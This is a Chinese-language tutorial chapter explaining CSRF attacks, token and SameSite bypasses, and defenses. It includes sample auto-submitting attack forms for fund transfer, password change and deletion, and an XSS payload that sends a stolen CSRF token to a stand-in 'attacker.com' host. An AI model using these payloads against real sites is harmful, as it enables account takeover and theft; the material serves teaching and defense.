CSRF(Cross-Site Request Forgery)是Web应用安全中的另一个重要漏洞。和XSS不同,CSRF不需要在目标网站执行脚本,而是利用用户已经登录的状态,在用户不知情的情况下执行操作。

CSRF(Cross-Site Request Forgery,跨站请求伪造)是指攻击者诱导用户访问恶意网站,在用户不知情的情况下,以用户身份向目标网站发送请求,执行非预期的操作。
攻击流程:
CSRF攻击的关键是利用用户已经登录的状态。当用户访问恶意网站时,浏览器会自动发送目标网站的Cookie,让请求看起来像是用户自己发的。
必要条件:用户已经登录目标网站(有有效的Session),目标网站没有有效的CSRF防护,攻击者知道目标网站的操作接口。
假设一个转账功能没有CSRF防护:
POST /transfer HTTP/1.1
Host: bank.com
Cookie: sessionid=abc123
Content-Type: application/x-www-form-urlencoded
to=attacker&amount=1000攻击者构造恶意页面:
<html>
<body>
<form id="transfer" action="https://bank.com/transfer" method="POST">
<input name="to" value="attacker">
<input name="amount" value="1000">
</form>
<script>document.getElementById('transfer').submit();</script>
</body>
</html>上述请求当用户访问这个页面时,会自动提交转账请求,如果用户已经登录银行网站,转账就会成功。
假设一个修改密码功能没有CSRF防护:
POST /change_password HTTP/1.1
Host: example.com
Cookie: sessionid=abc123
Content-Type: application/x-www-form-urlencoded
new_password=hacked123攻击者构造恶意页面:
<html>
<body>
<form id="change" action="https://example.com/change_password" method="POST">
<input name="new_password" value="hacked123">
</form>
<script>document.getElementById('change').submit();</script>
</body>
</html>上述请求当用户访问这个页面时,密码会被修改为hacked123,攻击者就可以用新密码登录。
假设一个删除功能没有CSRF防护:
POST /delete_item HTTP/1.1
Host: example.com
Cookie: sessionid=abc123
Content-Type: application/x-www-form-urlencoded
item_id=123攻击者可以在恶意网站中嵌入:
<img src="https://example.com/delete_item?item_id=123" style="display:none">上述请求当用户访问恶意网站时,浏览器会自动请求这个URL,删除用户的数据。

最常见的CSRF防护方式是使用CSRF Token,服务器生成一个随机Token,在表单中嵌入Token,提交时验证Token。
正常流程:
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="abc123def456">
<input name="to" value="user">
<input name="amount" value="100">
<button type="submit">Transfer</button>
</form>1. Token可预测
如果Token生成方式不安全,可能可以预测:
$token = md5($username . time());攻击者可以知道用户名,预测时间戳,生成Token。
2. Token不验证
如果Token验证逻辑有bug,可能可以绕过:
if ($_POST['csrf_token'] == $_SESSION['csrf_token']) {
// 执行操作
}问题:如果Token为空,可能可以绕过('' == ''为真)。
3. Token泄露
如果Token泄露,攻击者可以使用,通过XSS获取Token,通过其他漏洞获取Token,通过子域名共享Cookie获取Token。:
案例解析:
假设一个系统使用CSRF Token,但Token可以通过XSS获取:
// XSS Payload
<script>
var token = document.querySelector('input[name=csrf_token]').value;
var img = new Image();
img.src = 'http://attacker.com/steal?token=' + token;
</script>获取Token后,可以构造CSRF攻击:
<form id="attack" action="https://example.com/transfer" method="POST">
<input name="csrf_token" value="[获取的Token]">
<input name="to" value="attacker">
<input name="amount" value="1000">
</form>
<script>document.getElementById('attack').submit();</script>4. Token验证位置错误
如果Token验证在错误的位置,可能可以绕过:
// 错误:先执行操作,再验证Token
transfer_money($_POST['to'], $_POST['amount']);
if ($_POST['csrf_token'] != $_SESSION['csrf_token']) {
die('CSRF token error');
}5. 双重提交Cookie
如果系统使用双重提交Cookie(Double Submit Cookie),但实现不当,可能可以绕过:
// 设置Cookie和表单字段为相同值
document.cookie = "csrf_token=abc123";
// 表单字段也是abc123如果攻击者可以设置Cookie(通过子域名等),可以绕过。

SameSite是Cookie的一个属性,用于防止CSRF攻击。Strict最严格,跨站请求不发送Cookie。Lax部分允许,GET请求可以跨站。None允许跨站(需要Secure)。
1. Lax策略绕过
如果设置为Lax,GET请求可以跨站,如果系统用GET执行敏感操作,可能被CSRF:
<img src="https://example.com/delete?id=123">2. 子域名绕过
如果攻击者控制子域名,可以设置Cookie,通过子域名绕过:
Set-Cookie: sessionid=abc123; Domain=.example.com所有子域名(包括攻击者控制的)都可以访问这个Cookie。
3. 时间窗口
如果SameSite设置为Lax,在用户从外部链接跳转到目标网站时,Cookie会发送。攻击者可以诱导用户点击链接,链接跳转到目标网站,在跳转后的短时间内Cookie仍然有效,利用这个时间窗口进行CSRF攻击。
案例解析:
假设一个系统设置SameSite为Lax,但有一个功能可以通过GET请求执行敏感操作:
GET /api/delete?item_id=123攻击者可以构造恶意链接:
<a href="https://example.com/api/delete?item_id=123">Click here for free gift</a>上述请求当用户点击链接时,由于是GET请求,Cookie会发送,删除操作会执行。
CSRF攻击的影响取决于被攻击的功能:
案例1:电商网站
假设一个电商网站的购物车功能没有CSRF防护:
POST /cart/add HTTP/1.1
Cookie: sessionid=abc123
Content-Type: application/x-www-form-urlencoded
product_id=999&quantity=100上述请求当用户访问恶意网站,自动添加大量商品到购物车,如果网站有自动结算功能,可能自动扣款。
案例2:社交网站
假设一个社交网站的关注功能没有CSRF防护,攻击者可以诱导用户访问恶意网站,自动关注攻击者的账号,增加攻击者的粉丝数。
案例3:管理后台
假设一个管理后台的删除用户功能没有CSRF防护,如果管理员访问了恶意网站,可能自动删除用户,造成业务损失。
最有效的防护方式是使用CSRF Token:
// 生成Token
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
// 在表单中嵌入
echo '<input type="hidden" name="csrf_token" value="' . $_SESSION['csrf_token'] . '">';
// 验证Token
if ($_POST['csrf_token'] != $_SESSION['csrf_token']) {
die('CSRF token error');
}设置Cookie的SameSite属性:
setcookie('sessionid', $session_id, [
'samesite' => 'Strict',
'secure' => true,
'httponly' => true
]);检查请求的Referer:
$referer = $_SERVER['HTTP_REFERER'];
$allowed_host = 'example.com';
if (parse_url($referer, PHP_URL_HOST) != $allowed_host) {
die('Invalid referer');
}注意:Referer可能被伪造或缺失,不是完全可靠。
使用自定义Header(如X-Requested-With):
xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');注意:如果CORS配置不当,可能可以绕过。
本节我们一起深入了解了CSRF攻击。简单来说,CSRF会“借用”用户的登录状态,在你毫无察觉的情况下,悄悄帮你在目标网站执行敏感操作。攻击者往往靠构造精心的请求,骗你点个链接或者打开个页面,你什么都没感觉,但你的账户操作已经在暗中进行了。
在防御方面,核心措施包括:使用难以预测的CSRF Token,给Cookie加上SameSite属性,合理校验Referer,自定义专属的请求Header等。每种方法都有自己的优劣,实践中一般会多重叠加防护。
要注意,CSRF Token的管理有讲究,比如Token可预测、未校验、泄露或验证位置不对,都可能被绕过。同理,SameSite策略如果设置不严、存在时间差或者子域问题,也容易被攻破。功能越重要,风控越要到位,因为一旦被滥用,后果会很严重。
最后提醒大家:CSRF攻击的危险之处在于,你的浏览器“被利用”却你全然不知,不需要执行任何脚本代码,所以不能只靠XSS思路来防御。防御CSRF的本质,是想方设法判断请求是不是“真的来自你本人”。
下一节,我们将开启文件处理漏洞的学习,一起认清更多隐藏的安全威胁。
实践建议: 测试所有需要认证的操作,检查是否有CSRF Token,尝试绕过CSRF防护,理解CSRF的实际危害,学习各种防护措施的实现。